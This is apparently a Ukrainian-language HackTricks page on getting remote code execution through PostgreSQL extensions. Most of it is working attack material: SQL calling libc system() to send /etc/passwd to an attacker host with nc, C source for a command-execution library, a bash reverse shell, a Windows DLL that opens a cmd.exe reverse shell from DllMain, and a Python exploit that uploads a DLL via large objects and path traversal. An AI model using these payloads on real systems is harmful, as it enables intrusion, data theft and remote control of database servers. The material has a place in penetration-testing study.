RCE with PostgreSQL Extensions

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Розширення PostgreSQL

PostgreSQL був розроблений з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення, ніби вони були вбудованими функціями. Ці розширення, в основному бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.

Починаючи з версії 8.1, на розширення накладається конкретна вимога: вони повинні бути скомпільовані зі спеціальним заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних та потенційно безпечних розширень.

Також пам'ятайте, що якщо ви не знаєте, як завантажувати файли на жертву, зловживаючи PostgreSQL, вам слід прочитати цей пост.

Виконання коду в Linux

Для отримання додаткової інформації перегляньте: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Виконання системних команд з PostgreSQL версії 8.1 та попередніх є процесом, який був чітко задокументований і простий. Це можливо використовувати це: Модуль Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Записати двійковий файл з base64

Для запису двійкових даних у файл у postgres можливо знадобиться використання base64, це буде корисно в цьому випадку:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Однак, коли спробувати на більших версіях, буде показана наступна помилка:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Ця помилка пояснюється в документації PostgreSQL:

Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажено в несумісний сервер, PostgreSQL перевіряє, чи файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок потрібний починаючи з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки одному) з файлів джерел модуля після включення заголовка fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Починаючи з версії PostgreSQL 8.2, процес для зловмисника, який намагається використати систему, став більш складним. Зловмисник повинен використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL та повинна містити певний "магічний блок". Ця міра значно ускладнює використання систем PostgreSQL, оскільки вимагає глибокого розуміння архітектури системи та сумісності версій.

Скомпілюйте бібліотеку

Отримайте версію PostgreSQL за допомогою:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Для сумісності важливо, щоб основні версії відповідали одна одній. Тому компіляція бібліотеки з будь-якою версією серії 9.6.x повинна гарантувати успішну інтеграцію.

Для встановлення цієї версії на вашу систему:

apt install postgresql postgresql-server-dev-9.6

І скомпілюйте бібліотеку:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Потім завантажте скомпільовану бібліотеку та виконайте команди за допомогою:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Ви можете знайти цю бібліотеку попередньо скомпільовану для кількох різних версій PostgreSQL, і навіть можете автоматизувати цей процес (якщо у вас є доступ до PostgreSQL) за допомогою:

RCE в Windows

Наступна DLL приймає на вхід ім'я виконуваного файлу та кількість разів, які ви хочете його виконати, та виконує його:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Ви можете знайти DLL, скомпільований у цьому zip-файлі:

Ви можете вказати цій DLL який виконуваний файл виконати та кількість разів його виконання, у цьому прикладі він виконає calc.exe 2 рази:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

У цьому ви можете знайти цей зворотний shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Зверніть увагу, що в цьому випадку зловмисний код знаходиться всередині функції DllMain. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто завантаження DLL викличе виконання зворотного шелу:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

Виконання коду на віддаленій машині в останніх версіях Prostgres

У останніх версіях PostgreSQL були введені обмеження, за якими суперкористувач заборонено завантажувати файли спільних бібліотек, крім зазначених каталогів, таких як C:\Program Files\PostgreSQL\11\lib у Windows або /var/lib/postgresql/11/lib на системах *nix. Ці каталоги захищені від операцій запису за допомогою облікових записів NETWORK_SERVICE або postgres.

Незважаючи на ці обмеження, аутентифікований суперкористувач бази даних може записувати бінарні файли на файлову систему, використовуючи "великі об'єкти". Ця можливість розширюється на запис у каталозі C:\Program Files\PostgreSQL\11\data, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.

Значна вразливість виникає від команди CREATE FUNCTION, яка дозволяє обхід каталогів у каталозі даних. В результаті аутентифікований зловмисник може експлуатувати цей обхід для запису файлу спільної бібліотеки у каталоз даних, а потім завантажити його. Ця атака дозволяє зловмиснику виконати довільний код, досягаючи виконання вихідного коду на системі.

Послідовність атаки

Спочатку вам потрібно використовувати великі об'єкти для завантаження dll. Ви можете побачити, як це зробити тут:

pageBig Binary Files Upload (PostgreSQL)

Після завантаження розширення (з назвою poc.dll для цього прикладу) у каталог даних ви можете завантажити його за допомогою:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Зверніть увагу, що вам не потрібно додавати розширення .dll, оскільки функція create додасть його.

Для отримання додаткової інформації читайте оригінальну публікацію тут. У цій публікації був використаний код для генерації розширення postgres (щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій). На тій же сторінці було наведено цей експлойт для автоматизації цієї техніки:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated